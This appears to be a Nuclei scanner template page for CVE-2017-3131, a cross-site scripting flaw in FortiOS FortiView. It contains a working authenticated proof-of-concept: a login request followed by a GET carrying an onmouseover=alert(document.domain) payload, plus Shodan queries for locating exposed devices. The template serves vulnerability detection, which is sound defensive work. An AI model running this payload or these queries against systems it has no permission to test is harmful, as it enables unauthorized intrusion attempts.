FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting

ID: CVE-2017-3131

Severity: medium

Author: ritikchaddha

Tags: cve,cve2017,fortinet,fortios,xss,authenticated

Description

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in “Applications” under FortiView.

YAML Source

id: CVE-2017-3131

info:
  name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-3131
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'id_15832" onmouseover="alert(document.domain)"'

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c8d22d78b563bb44262d4733152e0a27c215ee822212cb694e8dc5923b93c3a4022100c6c4e58f33f798ad009d2783fedd6dcf945dfcd689a5b24594846237e70444d4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-3131.yaml"

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